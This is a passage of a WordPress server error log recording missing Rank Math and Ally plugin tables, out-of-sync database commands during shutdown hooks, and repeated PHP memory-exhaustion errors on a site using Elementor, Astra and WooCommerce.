wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:39:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:46:22 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1145 made by require('wp-admin/edit-form-blocks.php'), WP_Theme_JSON_Resolver::get_user_global_styles_post_id, WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:50:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1144 made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:56:20 UTC] Invalid product slug provided "", does not match bsf_product_slugs [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = 'rewrite_rules' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query UPDATE `wpuz_options` SET `option_value` = '' WHERE `option_name` = 'rewrite_rules' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '69976c1204c728.43172073|1771531342', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wpuz_options WHERE option_name IN ('_transient_timeout_doing_cron') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, wp_prime_option_caches [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = '_transient_doing_cron' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, update_option [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query UPDATE `wpuz_options` SET `option_value` = '1771531282.0197820663452148437500' WHERE `option_name` = '_transient_doing_cron' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, update_option [19-Feb-2026 20:01:22 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'astra_sites_batch_process_started' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, wp_remote_post, WP_Http->post, WP_Http->request, apply_filters('pre_http_request'), WP_Hook->apply_filters, Astra_Sites->block_elementor_placeholder_requests, Astra_Sites->is_import_process_active, get_option [19-Feb-2026 20:01:33 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('rank_math_notifications', 'a:0:{}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Admin\Notifications\Notification_Center->update_storage, update_option, add_option [19-Feb-2026 20:01:33 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = 'rewrite_rules' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:33 UTC] WordPress database error Commands out of sync; you can't run this command now for query UPDATE `wpuz_options` SET `option_value` = '' WHERE `option_name` = 'rewrite_rules' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:35 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('rank_math_notifications', 'a:0:{}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Admin\Notifications\Notification_Center->update_storage, update_option, add_option [19-Feb-2026 20:01:35 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = 'rewrite_rules' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:35 UTC] WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wpuz_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, SureRank\Loader->shutdown, update_option [19-Feb-2026 20:01:39 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('rank_math_notifications', 'a:0:{}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Admin\Notifications\Notification_Center->update_storage, update_option, add_option [19-Feb-2026 20:18:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1147 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 20:18:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1147 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 20:18:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1147 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1148 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1149 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 20:19:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1150 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 15:56:09 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 40960 bytes) in /home/dxgrqzvp/public_html/wp-includes/option.php on line 213 [21-Feb-2026 17:14:05 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 40960 bytes) in /home/dxgrqzvp/public_html/wp-includes/option.php on line 213 [21-Feb-2026 17:45:46 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [21-Feb-2026 17:49:03 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 40960 bytes) in /home/dxgrqzvp/public_html/wp-includes/option.php on line 213 [21-Feb-2026 17:58:38 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 20480 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php on line 91 [21-Feb-2026 18:05:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [21-Feb-2026 18:09:17 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 40960 bytes) in /home/dxgrqzvp/public_html/wp-includes/option.php on line 213 [21-Feb-2026 18:20:42 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 32768 bytes) in /home/dxgrqzvp/public_html/wp-content/plugins/sureforms/modules/gutenberg/icons/icons-v6-0.php on line 5019 [21-Feb-2026 18:25:58 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 434176 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-widgets.php on line 870 [21-Feb-2026 18:26:33 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5152768 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5014 [21-Feb-2026 18:28:41 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5152768 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5014 [21-Feb-2026 18:31:47 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5152768 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5014 [21-Feb-2026 18:32:12 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5152768 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5014 [21-Feb-2026 18:33:45 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5890224 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5025 [21-Feb-2026 18:34:07 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5889984 bytes) in /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php on line 5025 [21-Feb-2026 18:34:41 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5890024 bytes) in /home/dxgrqzvp/public_html/wp-includes/script-loader.php on line 3015 [21-Feb-2026 18:34:42 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5890024 bytes) in /home/dxgrqzvp/public_html/wp-includes/script-loader.php on line 3015 [21-Feb-2026 18:34:48 UTC] PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 5890024 bytes) in /home/dxgrqzvp/public_html/wp-includes/script-loader.php on line 3015 [21-Feb-2026 18:55:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1153 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:55:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1153 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:55:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1153 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:58:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1154 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:59:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1154 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:59:28 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1154 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 18:59:28 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1154 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:01:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1155 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:01:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1155 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:18:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1156 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:18:54 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1157 made by do_action('wp_ajax_customize-nav-menus-insert-auto-draft'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Nav_Menus->ajax_insert_auto_draft_post, WP_Customize_Nav_Menus->insert_auto_draft_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:19:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1156 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run 